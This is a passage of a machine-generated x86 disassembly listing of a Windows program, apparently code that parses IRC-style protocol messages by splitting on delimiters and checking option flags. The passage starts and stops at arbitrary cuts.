		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_410657


loc_410652:				; CODE XREF: sub_40FF60+69Bj
		mov	[esp+20h+var_D], 1


loc_410657:				; CODE XREF: sub_40FF60+6F0j
		lea	ecx, [esp+20h+arg_394]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_4106C4
		cmp	[ebp+16h], bl
		jnz	short loc_4106A0
		mov	ecx, offset byte_44741D
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_4473D4
		call	sub_4017E4
		mov	edx, dword_4470F4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h


loc_4106A0:				; CODE XREF: sub_40FF60+713j
		mov	ecx, offset byte_4E6E75
		call	sub_4017E4
		push	eax
		mov	eax, dword_4470FC
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4106C4:				; CODE XREF: sub_40FF60+70Ej
		push	offset asc_443600 ; " "
		lea	ecx, [esp+24h+arg_1B4]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	edx, dword_447104
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_1B4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		jz	short loc_410775
		lea	eax, [esp+24h+arg_94]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+24h+arg_94]
		mov	byte ptr [esp+24h+arg_246C], 0Ch
		call	sub_4014D3
		push	eax
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_41075D
		inc	eax
		lea	ecx, [ebp+28h]
		push	eax
		call	sub_4015D7


loc_41075D:				; CODE XREF: sub_40FF60+7F1j
		lea	ecx, [esp+20h+arg_94]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410775:				; CODE XREF: sub_40FF60+7B7j
		lea	ecx, [esp+24h+arg_304]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	edx, dword_447100
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Dh
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4107B0
		mov	al, byte_447834
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_4107B4


loc_4107B0:				; CODE XREF: sub_40FF60+840j
		mov	[esp+20h+var_D], bl


loc_4107B4:				; CODE XREF: sub_40FF60+84Ej
		lea	ecx, [esp+20h+arg_304]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410AC1
		push	offset asc_443C84 ; ":"
		lea	eax, [esp+24h+arg_4C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	96h
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 0Fh
		jz	short loc_410812
		mov	ecx, eax
		call	sub_402054


loc_410812:				; CODE XREF: sub_40FF60+8A9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 10h
		jz	short loc_41083E
		mov	ecx, eax
		call	sub_4010BE


loc_41083E:				; CODE XREF: sub_40FF60+8D5j
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+24h+arg_4C]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_401A9B
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+24h+arg_7C]
		push	ebx
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		xor	edi, edi
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jz	loc_410AAC


loc_41089F:				; CODE XREF: sub_40FF60+B46j
		push	96h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 12h
		jz	short loc_4108C7
		mov	ecx, eax
		call	sub_402054
		mov	esi, eax
		jmp	short loc_4108C9
; ---------------------------------------------------------------------------


loc_4108C7:				; CODE XREF: sub_40FF60+95Aj
		xor	esi, esi


loc_4108C9:				; CODE XREF: sub_40FF60+965j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 13h
		jz	short loc_4108FB
		mov	ecx, eax
		call	sub_4010BE
		mov	[esp+20h+var_C], eax
		jmp	short loc_4108FF
; ---------------------------------------------------------------------------


loc_4108FB:				; CODE XREF: sub_40FF60+98Cj
		mov	[esp+20h+var_C], ebx


loc_4108FF:				; CODE XREF: sub_40FF60+999j
		push	offset aS_3	; " -s"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410922
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410928
; ---------------------------------------------------------------------------


loc_410922:				; CODE XREF: sub_40FF60+9B7j
		mov	[esi+93h], bl


loc_410928:				; CODE XREF: sub_40FF60+9C0j
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410943
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410949
; ---------------------------------------------------------------------------


loc_410943:				; CODE XREF: sub_40FF60+9D8j
		mov	[esi+94h], bl


loc_410949:				; CODE XREF: sub_40FF60+9E1j
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410964
		mov	byte ptr [esi+95h], 1
		jmp	short loc_41096A
; ---------------------------------------------------------------------------


loc_410964:				; CODE XREF: sub_40FF60+9F9j
		mov	[esi+95h], bl


loc_41096A:				; CODE XREF: sub_40FF60+A02j
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_1E4]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 14h
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_1E4]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset byte_446F60
		lea	ecx, [esi+54h]
		call	sub_4015D7
		push	offset byte_446F60
		lea	ecx, [esi+3Fh]
		call	sub_4015D7
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_AC]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 15h
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_AC]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset asc_4435EC ; "|"
		lea	ecx, [esp+24h+arg_214]
		push	edi
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 16h
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		lea	ecx, [esp+20h+arg_214]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		mov	ecx, [esp+20h+var_C]
		push	1
		push	esi
		call	sub_401DE3
		cmp	esi, ebx
		jz	short loc_410A59
		push	1
		mov	ecx, esi
		call	sub_4019D3


loc_410A59:				; CODE XREF: sub_40FF60+AEEj
		mov	ecx, [esp+20h+var_C]
		call	sub_4013D4
		inc	edi
		push	offset asc_4435EC ; "|"
		lea	edx, [esp+24h+arg_7C]
		push	edi
		push	edx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jnz	loc_41089F


loc_410AAC:				; CODE XREF: sub_40FF60+939j
		lea	ecx, [esp+20h+arg_4C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410AC1:				; CODE XREF: sub_40FF60+86Bj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_334]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470F8
		mov	byte ptr [esp+20h+arg_246C], 17h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_334]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410DDB
		push	96h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 18h
		jz	short loc_410B3B
		mov	ecx, eax
		call	sub_402054
		mov	esi, eax
		jmp	short loc_410B3D
; ---------------------------------------------------------------------------


loc_410B3B:				; CODE XREF: sub_40FF60+BCEj
		xor	esi, esi


loc_410B3D:				; CODE XREF: sub_40FF60+BD9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 19h
		jz	short loc_410B6C
		mov	ecx, eax
		call	sub_4010BE
		mov	edi, eax
		jmp	short loc_410B6E
; ---------------------------------------------------------------------------


loc_410B6C:				; CODE XREF: sub_40FF60+BFFj
		xor	edi, edi


loc_410B6E:				; CODE XREF: sub_40FF60+C0Aj
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410B90
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410B96
; ---------------------------------------------------------------------------


loc_410B90:				; CODE XREF: sub_40FF60+C25j
		mov	[esi+95h], bl


loc_410B96:				; CODE XREF: sub_40FF60+C2Ej
		push	offset aS_3	; " -s"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410BB1
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410BB7
; ---------------------------------------------------------------------------


loc_410BB1:				; CODE XREF: sub_40FF60+C46j
		mov	[esi+93h], bl


loc_410BB7:				; CODE XREF: sub_40FF60+C4Fj
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013E3
		test	eax, eax
		jz	short loc_410BD2
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410BD8
; ---------------------------------------------------------------------------


loc_410BD2:				; CODE XREF: sub_40FF60+C67j
		mov	[esi+94h], bl


loc_410BD8:				; CODE XREF: sub_40FF60+C70j
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+24h+arg_274]
		push	ebx
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+24h+arg_3C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Ah
		call	sub_4016AE
		push	offset asc_443C78 ; "!"
		lea	edx, [esp+24h+arg_244]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Bh
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 1Ch
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_244]
		mov	byte ptr [esp+20h+arg_246C], 1Bh
		call	sub_401226
		lea	ecx, [esp+20h+arg_3C4]
		mov	byte ptr [esp+20h+arg_246C], 1Ah
		call	sub_401226
		lea	ecx, [esp+20h+arg_274]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_443C78 ; "!"
		lea	eax, [esp+24h+arg_DC]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+24h+arg_C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Dh
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+24h+arg_246C], 1Eh
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_C4]
		mov	byte ptr [esp+20h+arg_246C], 1Dh
		call	sub_401226
		lea	ecx, [esp+20h+arg_DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset dword_4437F8
		lea	edx, [esp+24h+arg_13C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443600 ; " "
		lea	ecx, [esp+24h+arg_10C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Fh
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+24h+arg_246C], 20h
		call	sub_401FBE
		mov	byte ptr [esp+20h+arg_246C], 1Fh
		lea	ecx, [esp+20h+arg_10C]
		call	sub_401226
		lea	ecx, [esp+20h+arg_13C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_16C]
		push	2
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 21h
		call	sub_401FBE
		lea	ecx, [esp+20h+arg_16C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_443C74 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014D3
		push	eax
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_410DAD
		add	eax, 2
		push	eax
		jmp	short loc_410DB2
; ---------------------------------------------------------------------------


loc_410DAD:				; CODE XREF: sub_40FF60+E45j
		push	offset byte_446F60


loc_410DB2:				; CODE XREF: sub_40FF60+E4Bj
		mov	ecx, esi
		call	sub_4015D7
		push	ebx
		push	esi
		mov	ecx, edi
		call	sub_401DE3
		cmp	esi, ebx
		jz	short loc_410DCF
		push	1
		mov	ecx, esi
		call	sub_4019D3


loc_410DCF:				; CODE XREF: sub_40FF60+E64j
		mov	ecx, edi
		call	sub_4013D4
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410DDB:				; CODE XREF: sub_40FF60+BADj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_19C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_44711C
		mov	byte ptr [esp+20h+arg_246C], 22h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_19C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410FB0
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	edx, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_443600 ; " "
		push	3
		push	edx
		call	sub_4016AE
		mov	ecx, offset word_448C8E
		call	sub_401CD0
		cmp	eax, ebx
		jz	short loc_410EA2
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	eax, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_443600 ; " "
		push	3
		push	eax
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 23h
		mov	ecx, esp
		mov	[esp+50h+arg_C], esp
		push	offset asc_443600 ; " "
		push	3
		push	ecx
		lea	ecx, [esp+5Ch+var_8]
		call	sub_4016AE
		mov	ecx, offset word_448C8E
		mov	byte ptr [esp+50h+arg_246C], bl
		call	sub_40210D


loc_410EA2:				; CODE XREF: sub_40FF60+EF3j
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_1CC]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset byte_4E6E75
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 24h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+20h+arg_1CC]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411327
		push	offset asc_443C84 ; ":"
		lea	eax, [esp+24h+arg_22C]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443C78 ; "!"
		lea	ecx, [esp+24h+arg_1FC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 25h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 26h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+24h+arg_25C]
		call	sub_401861
		lea	ecx, [esp+20h+arg_1FC]
		mov	byte ptr [esp+20h+arg_246C], 29h
		call	sub_401226
		lea	ecx, [esp+20h+arg_22C]
		mov	byte ptr [esp+20h+arg_246C], 28h
		call	sub_401226
		mov	ecx, offset byte_44741D
		mov	[ebp+16h], bl
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_4473D4
		call	sub_4017E4
		mov	edx, dword_4470F4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h
		lea	ecx, [esp+20h+arg_25C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410FB0:				; CODE XREF: sub_40FF60+EC7j
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_28C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447110
		mov	byte ptr [esp+20h+arg_246C], 2Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_28C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411168
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+24h+arg_2EC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset asc_443C78 ; "!"
		lea	ecx, [esp+24h+arg_2BC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 2Bh
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 2Ch
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+24h+arg_34]
		call	sub_401861
		lea	ecx, [esp+20h+arg_2BC]
		mov	byte ptr [esp+20h+arg_246C], 2Fh
		call	sub_401226
		lea	ecx, [esp+20h+arg_2EC]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226
		push	offset asc_443C74 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014D3
		mov	esi, dword_50FAF8
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_411153
		push	offset asc_443C74 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014D3
		push	eax
		call	esi	; strstr
		add	esp, 8
		lea	ecx, [esp+20h+arg_64]
		push	eax
		call	sub_401861
		push	offset byte_446F60
		lea	ecx, [esp+24h+arg_34]
		mov	byte ptr [esp+24h+arg_246C], 30h
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41113F
		push	offset byte_446F60
		lea	ecx, [esp+24h+arg_64]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41113F
		sub	esp, 18h
		lea	edx, [esp+38h+arg_34]
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C8E
		call	sub_401CD0
		cmp	eax, ebx
		jz	short loc_41111B
		lea	ecx, [esp+20h+arg_64]
		push	ecx
		lea	ecx, [eax+19h]
		call	sub_401FBE


loc_41111B:				; CODE XREF: sub_40FF60+11A9j
		push	offset byte_4E6E75
		lea	ecx, [esp+24h+arg_34]
		call	sub_401B72
		test	eax, eax
		jnz	short loc_41113F
		lea	edx, [esp+20h+arg_64]
		mov	ecx, offset byte_4E6E75
		push	edx
		call	sub_401FBE


loc_41113F:				; CODE XREF: sub_40FF60+1173j
					; sub_40FF60+1188j ...
		lea	ecx, [esp+20h+arg_64]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226


loc_411153:				; CODE XREF: sub_40FF60+1134j
		lea	ecx, [esp+20h+arg_34]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_411168:				; CODE XREF: sub_40FF60+109Cj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_34C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447120
		mov	byte ptr [esp+20h+arg_246C], 31h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4111EF
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_31C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447130
		mov	byte ptr [esp+20h+arg_246C], 32h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_31C]
		mov	byte ptr [esp+20h+arg_246C], 31h
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_4111F4


loc_4111EF:				; CODE XREF: sub_40FF60+1238j
		mov	[esp+20h+var_D], 1


loc_4111F4:				; CODE XREF: sub_40FF60+128Dj
		lea	ecx, [esp+20h+arg_34C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411327
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+24h+arg_37C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 33h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_443C78 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016AE
		mov	ecx, offset word_448C8E
		call	sub_401CD0
		lea	ecx, [esp+20h+arg_37C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_411327
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+24h+arg_3DC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 34h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_443C78 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016AE
		push	offset asc_443C84 ; ":"
		lea	edx, [esp+3Ch+arg_3AC]
		push	1
		push	edx
		lea	ecx, [esp+44h+var_8]
		mov	byte ptr [esp+44h+arg_246C], 35h
		call	sub_4016AE
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 36h
		mov	ecx, esp
		mov	[esp+50h+var_C], esp
		push	offset asc_443C78 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016AE
		mov	ecx, offset word_448C8E
		mov	byte ptr [esp+50h+arg_246C], 37h
		call	sub_40210D
		lea	ecx, [esp+20h+arg_3AC]
		mov	byte ptr [esp+20h+arg_246C], 34h
		call	sub_401226
		lea	ecx, [esp+20h+arg_3DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	short loc_411327
; ---------------------------------------------------------------------------


loc_411320:				; CODE XREF: sub_40FF60+391j
		mov	ecx, ebp
		call	sub_401D0C


loc_411327:				; CODE XREF: sub_40FF60+1D3j
					; sub_40FF60+253j ...
		cmp	[ebp+17h], bl
		jnz	loc_40FFA2


loc_411330:				; CODE XREF: sub_40FF60+3Cj
					; sub_40FF60+4Fj
		lea	ecx, [esp+20h+var_8]
		mov	[esp+20h+arg_246C], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+20h+arg_2464]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2484h
		retn
sub_40FF60	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 500h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411860	proc near		; CODE XREF: sub_4010BEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_402054
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E038
		mov	dword ptr [esi+11h], 0
		mov	byte ptr [esi+0ABh], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411860	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4118E0:				; CODE XREF: ___:loc_40115Ej
					; ___:004016EAj
		push	esi
		mov	esi, ecx
		call	sub_40101E
		test	byte ptr [esp+8], 1
		jz	short loc_4118F8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4118F8:				; CODE XREF: ___:004118EDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411910	proc near		; CODE XREF: sub_40101Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411910
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E038
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40196A
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411910	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411990	proc near		; CODE XREF: sub_402054j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411990
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+69h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+7Eh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411990	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411A50	proc near		; CODE XREF: sub_40196Aj

